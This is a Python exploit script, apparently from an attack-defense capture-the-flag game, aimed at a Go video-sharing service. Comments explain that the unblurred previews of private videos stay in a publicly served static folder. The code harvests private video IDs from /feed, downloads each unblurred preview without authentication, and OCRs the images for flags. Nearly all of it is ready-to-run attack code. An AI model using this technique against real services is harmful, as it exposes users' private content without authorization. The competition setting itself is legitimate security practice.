#!/usr/bin/env python3 import sys import re import random import requests USE_CUSTOM_USER_AGENT = False FLAG_RX = re.compile(r"[A-Z0-9]{31}=") USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" ] PORT = 5000 FEED_RX = re.compile(r'src="([^"]*preview_(\d+)(_blured)?\.png)"') def _ocr(png_bytes): """Optional: OCR the frame. No-op (and no crash) if pytesseract is absent.""" try: import io from PIL import Image import pytesseract except ImportError: return "" try: return pytesseract.image_to_string(Image.open(io.BytesIO(png_bytes))) except Exception as e: print(f"[-] ocr failed: {e}", file=sys.stderr, flush=True) return "" def exploit(target_ip): flags = set() headers = {} if USE_CUSTOM_USER_AGENT: headers["User-Agent"] = random.choice(USER_AGENTS) # ------------------------------------------------------------------------- # VULN: server/server.go handleCreate() + routes() # ppath := s.previewPath(v.ID) // public/static/preview_.png # video.GeneratePreview(ctx, ..., ppath) # if v.Private { video.Blur(ppath, s.privatePreviewPath(v.ID)) } # ... # s.e.Static("/"+s.c.StaticFolder, s.c.StaticFolder) # # For a PRIVATE video the sharp first frame is written to # public/static/preview_.png and is NEVER deleted; only an extra blurred # copy preview__blured.png is produced. public/static is exposed by # echo.Static, so the un-blurred frame of every private video is a plain # unauthenticated GET away -- the feed only ever links the blurred one. # # /feed leaks the id of every video (including private ones), so: # /public/static/preview__blured.png -> what you are supposed to see # /public/static/preview_.png -> the real frame # ------------------------------------------------------------------------- try: s = requests.Session() s.headers.update(headers) base = f"http://{target_ip}:{PORT}" private_ids = [] try: r = s.get(f"{base}/feed", timeout=5) # a "_blured" preview in the feed == the video is private private_ids = sorted( {int(m[1]) for m in FEED_RX.findall(r.text) if m[2]}, reverse=True ) except requests.RequestException as e: print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) if not private_ids: print(f"[!] no private videos advertised by /feed on {target_ip}", file=sys.stderr, flush=True) return flags for vid in private_ids: url = f"{base}/public/static/preview_{vid}.png" try: r = s.get(url, timeout=5) except requests.RequestException as e: print(f"[-] preview {vid} failed: {e}", file=sys.stderr, flush=True) continue if r.status_code != 200 or not r.content.startswith(b"\x89PNG"): continue print(f"[+] leaked un-blurred preview of private video {vid} " f"({len(r.content)} bytes) from {url}", file=sys.stderr, flush=True) flags.update(FLAG_RX.findall(_ocr(r.content))) except requests.RequestException as e: print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) # ------------------------------------------------------------------------- return flags def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) sys.exit(1) target_ip = sys.argv[1] try: found_flags = exploit(target_ip) if found_flags is None: found_flags = [] elif isinstance(found_flags, str): found_flags = [found_flags] for flag in found_flags: clean_flag = str(flag).strip() if FLAG_RX.fullmatch(clean_flag): print(clean_flag, flush=True) except Exception as e: print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) if __name__ == "__main__": main()